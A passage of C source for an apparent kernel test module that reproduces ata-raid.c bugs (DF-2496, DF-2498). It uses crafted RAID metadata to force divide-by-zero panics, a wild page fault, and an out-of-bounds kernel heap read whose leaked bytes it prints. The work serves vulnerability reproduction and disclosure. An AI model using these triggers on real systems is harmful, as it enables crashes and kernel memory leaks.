ata_raid_intel_read_meta((device_t)&fake_sub_dev, dfrig_witness); dfrig_armed = 0; rdp = dfrig_witness[0]; P("== DF-2496 test20: parse stripe_sectors=0 -> interleave=0; " "production strategy RAID0 blkno %% interleave =="); P("parse rc=%d raidp[0]=%p interleave=%u", rc, rdp, rdp ? rdp->interleave : 0xDEAD); if (!rc || !rdp) { P("parse failed"); dfrig_last_rc = 0; return; } P("firing production ata_raid_strategy() blkno=0 count=1 ..."); P("EXPECTING FATAL TRAP 0 (divide error) at ata-raid.c:359 " "`chunk = blkno %% rdp->interleave' -- panic follows on serial"); dfrig_last_rc = 1; rc = fire_strategy(rdp, 0, 512); P("SURVIVED (unexpected): strategy returned %d", rc); dfrig_last_rc = 0; } /* --- test 21: DF-2496 fatal -- status total_sectors=0, REAL ioctl ----- */ #define DFRIG_KERNEL_ATARAID_ARRAYS \ ((struct ar_softc **)0xffffffff8114dec0ULL) static void dfrig_test21_status_div0_arm(void) { struct ar_softc **real = DFRIG_KERNEL_ATARAID_ARRAYS; struct ar_softc *rdp; int rc; setup_fakes(); set_fake_serial_d0(); build_intel_meta(2, INTEL_T_RAID0, 2, 64, 0 /* map->total_sectors=0 */, 0, 0); dfrig_armed = 1; rc = ata_raid_intel_read_meta((device_t)&fake_sub_dev, real); dfrig_armed = 0; rdp = real[0]; P("== DF-2496 test21: parse total_sectors=0 into the REAL kernel " "ata_raid_arrays[0]; then a real IOCATARAIDSTATUS ioctl =="); P("parse rc=%d real ata_raid_arrays[0]=%p total_sectors=%ju " "rebuild_lba=%ju", rc, rdp, rdp ? (uintmax_t)rdp->total_sectors : 0, rdp ? (uintmax_t)rdp->rebuild_lba : 0); P("NOW RUN FROM USERLAND: /root/dfrig3/atastat 0"); P("expect FATAL TRAP 0 at ata-raid.c:1028 " "`progress = 100 * lba / total_sectors'"); dfrig_last_rc = (rc == 1 && rdp && rdp->total_sectors == 0); } /* --- test 22: DF-2496 fatal -- attach heads*sectors=0 ----------------- */ static void dfrig_test22_attach_div0(void) { struct ar_softc *rdp; rdp = kmalloc(sizeof(struct ar_softc), M_AR, M_WAITOK | M_ZERO); rdp->type = AR_T_JBOD; /* skips the RAID0/01/5 rounddown */ rdp->status = AR_S_READY; rdp->lun = 15; rdp->total_disks = 1; rdp->width = 1; rdp->disks[0].flags = AR_DF_PRESENT | AR_DF_ASSIGNED | AR_DF_ONLINE; rdp->heads = 0; /* <-- crafted metadata geometry */ rdp->sectors = 63; rdp->total_sectors = 100000; bcopy("DF96JBOD", rdp->name, 8); P("== DF-2496 test22: production ata_raid_attach() with " "heads*sectors == 0 =="); P("rdp=%p type=AR_T_JBOD heads=%u sectors=%u total_sectors=%ju", rdp, rdp->heads, rdp->sectors, (uintmax_t)rdp->total_sectors); P("EXPECTING FATAL TRAP 0 (divide error) at ata-raid.c:181 " "`total_sectors/(heads*sectors)' -- panic follows on serial"); dfrig_last_rc = 1; ata_raid_attach(rdp, 0); /* PRODUCTION */ P("SURVIVED -- on a FIXED kernel this is the expected outcome " "(no division by zero; attach completed)"); if (dfrig_witness[0] == NULL) { dfrig_witness[0] = rdp; /* keep for test99 cleanup; attach * registered &rdp->disk, so it must * not be freed here */ } dfrig_last_rc = 0; } /* --- test 23: DF-2498 fatal -- wild meta->disk[disk_idx] read --------- */ static void dfrig_test23_intel_wild_read(void) { int rc; setup_fakes(); set_fake_serial_d0(); bzero(dfrig_witness, sizeof(dfrig_witness)); /* map->total_disks=16 (disks[] writes stay in bounds); every * disk_idx[] = 0xffff -> meta->disk[0xffff] = meta + 216 + * 48*65535 = meta+3145996 -- ~3.0MB past the 1536-byte object */ build_intel_meta(2, INTEL_T_RAID0, 16, 64, 0x1000000, 0xffff, 1 /* disk_idx[0]=1: in-bounds marker */); dfrig_armed = 1; P("== DF-2498 test23: production Intel parse with disk_idx[]=0xffff " "=="); P("meta->disk[0xffff].serial = meta + 216 + 48*65535 + 0 = " "meta+3145996 (%d KB past the 1536-byte kmalloc)", 3145996 / 1024); P("EXPECTING PAGE FAULT in ata_raid_intel_read_meta (bcopy at " "ata-raid.c:2247) -- panic follows on serial"); dfrig_last_rc = 1; rc = ata_raid_intel_read_meta((device_t)&fake_sub_dev, dfrig_witness); dfrig_armed = 0; P("SURVIVED (unexpected): parse rc=%d witness[0]=%p", rc, dfrig_witness[0]); if (dfrig_witness[0]) { kfree(dfrig_witness[0], M_AR); dfrig_witness[0] = NULL; } dfrig_last_rc = 0; } /* --- test 24: DF-2498 OOB READ readback (wild meta->disk[0xffff]) ----- */ static void dfrig_test24_intel_leak_readback(void) { struct ar_softc *my; int rc, i, nonzero = 0; setup_fakes(); set_fake_serial_d0(); bzero(dfrig_witness, sizeof(dfrig_witness)); /* pre-install our own ar_softc: the production parse REUSES it * (no kmalloc; ata-raid.c:2169-2173), and on no-serial-match the * cleanup kfree()s it and NULLs raidp[0] (ata-raid.c:2299-2304) -- * we keep the pointer and read the chunk back immediately */ my = kmalloc(sizeof(struct ar_softc), M_AR, M_WAITOK | M_ZERO); dfrig_witness[0] = my; /* disk_idx[] = 0xffff: every meta->disk[disk_idx] access reads at * meta + 216 + 48*65535 (+ up to 48) ~= 3.0MB past the 1536-byte * metadata object; 16 serial bytes + sectors + flags get bcopy'd * from there into raid->disks[disk] (ata-raid.c:2247-2262) */ build_intel_meta(2, INTEL_T_RAID0, 16, 64, 0x1000000, 0xffff, 1 /* disk_idx[0]=1: in-bounds marker */); dfrig_armed = 1; rc = ata_raid_intel_read_meta((device_t)&fake_sub_dev, dfrig_witness); dfrig_armed = 0; P("== DF-2498 test24: disk_idx[]=0xffff -> OOB READ of kernel heap " "~3.0MB past the metadata object =="); P("parse rc=%d witness[0]=%p (freed+NULLed by cleanup; we kept " "our pointer %p)", rc, dfrig_witness[0], my); P("readback of the (now-freed) chunk -- raid->disks[0..15] fields " "were filled by bcopy from meta->disk[0xffff] = meta+3145996:"); for (i = 0; i < 16; i++) { unsigned char *s = my->disks[i].serial; if (s[0] | s[1] | s[2] | s[3] | s[4] | s[5] | s[6] | s[7] | s[8] | s[9] | s[10] | s[11] | s[12] | s[13] | s[14] | s[15]) nonzero++; if (i < 6) P(" disks[%2d].serial = %02x%02x%02x%02x%02x%02x%02x" "%02x%02x%02x%02x%02x%02x%02x%02x%02x " "sectors=%016llx flags=%x", i, s[0], s[1], s[2], s[3], s[4], s[5], s[6], s[7], s[8], s[9], s[10], s[11], s[12], s[13], s[14], s[15], (unsigned long long)my->disks[i].sectors, my->disks[i].flags); } P("entries with non-zero serial (bytes read from ~3MB past the " "object): %d/16", nonzero); { unsigned char *s0 = my->disks[0].serial; int ran = (s0[0] == 0xE0 && s0[1] == 0xE1); P("loop-ran marker: disks[0].serial[0..1]=%02x%02x %s " "(disk_idx[0]=1 -> meta->disk[1].serial E0..EF in-bounds)", s0[0], s0[1], ran ? "CONFIRMED -- same loop iteration set " "then read meta->disk[0xffff] 3.0MB past the object for " "disks[1..15]" : "MISSING"); dfrig_last_rc = ran; } /* chunk was already freed by the production cleanup; do not kfree * again */ } /* --- test 99: cleanup -------------------------------------------------- */ static void dfrig_test99_cleanup(void) { struct ar_softc **real = DFRIG_KERNEL_ATARAID_ARRAYS; int i; for (i = 0; i < 64; i++) { if (dfrig_witness[i]) { kfree(dfrig_witness[i], M_AR); dfrig_witness[i] = NULL; } } if (real[0]) { kfree(real[0], M_AR); real[0] = NULL; } P("cleaned witness + real ata_raid_arrays[0]"); dfrig_last_rc = 1; } /* ------------------------------------------------------------------ */ /* sysctl plumbing */ /* ------------------------------------------------------------------ */ static int dfrig_testno; static int dfrig_fire_sysctl(SYSCTL_HANDLER_ARGS) { int v = dfrig_testno; int error; error = SYSCTL_OUT(req, &v, sizeof(v)); if (error != 0 || req->newptr == NULL) return (error); error = SYSCTL_IN(req, &v, sizeof(v)); if (error != 0) return (error); dfrig_status_buf[0] = '\0'; dfrig_last_rc = -1; switch (v) { case 10: dfrig_test10_intel_oob_write(); break; case 11: dfrig_test11_span_walk(); break; case 12: dfrig_test12_geometry(); break; case 13: dfrig_test13_span_past_alloc(); break; case 20: dfrig_test20_strategy_div0(); break; case 21: dfrig_test21_status_div0_arm(); break; case 22: dfrig_test22_attach_div0(); break; case 23: dfrig_test23_intel_wild_read(); break; case 24: dfrig_test24_intel_leak_readback(); break; case 99: dfrig_test99_cleanup(); break; default: P("unknown test %d (10=DF2498A,11=DF2497A,12=DF2496setup," "13=DF2497B,20/21/22=DF2496 fatal,23=DF2498wild," "24=DF2498leak)", v); break; } P("last_rc=%d", dfrig_last_rc); dfrig_testno = v; return (0); } static int dfrig_status_sysctl(SYSCTL_HANDLER_ARGS) { return (SYSCTL_OUT(req, dfrig_status_buf, strlen(dfrig_status_buf) + 1)); } SYSCTL_PROC(_kern, OID_AUTO, dfrig3_ata_test, CTLTYPE_INT | CTLFLAG_RW, 0, 0, dfrig_fire_sysctl, "I", "fire dfrig3_ata test N"); SYSCTL_PROC(_kern, OID_AUTO, dfrig3_ata_status, CTLTYPE_STRING | CTLFLAG_RD, 0, 0, dfrig_status_sysctl, "A", "last dfrig3_ata test output"); static int dfrig3_ata_modevent(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: lockinit(&dfrig_fake_state_mtx, "dfrig3_st_mtx", 0, 0); kprintf("dfrig3_ata: loaded (production ata-raid.c compiled " "in; kern.dfrig3_ata_test=10|11|12|13|20|21|22|23)\n"); return (0); case MOD_UNLOAD: return (0); default: return (EOPNOTSUPP); } } static moduledata_t dfrig3_ata_mod = { "dfrig3_ata", dfrig3_ata_modevent, 0 }; static struct mod_metadata _mod_metadata_dfrig3_ata = { MDT_STRUCT_VERSION, MDT_MODULE, &dfrig3_ata_mod, "dfrig3_ata" }; DATA_SET(modmetadata_set, _mod_metadata_dfrig3_ata); SYSINIT(dfrig3_atamodule, SI_SUB_DRIVERS, SI_ORDER_MIDDLE, module_register_init, &dfrig3_ata_mod); |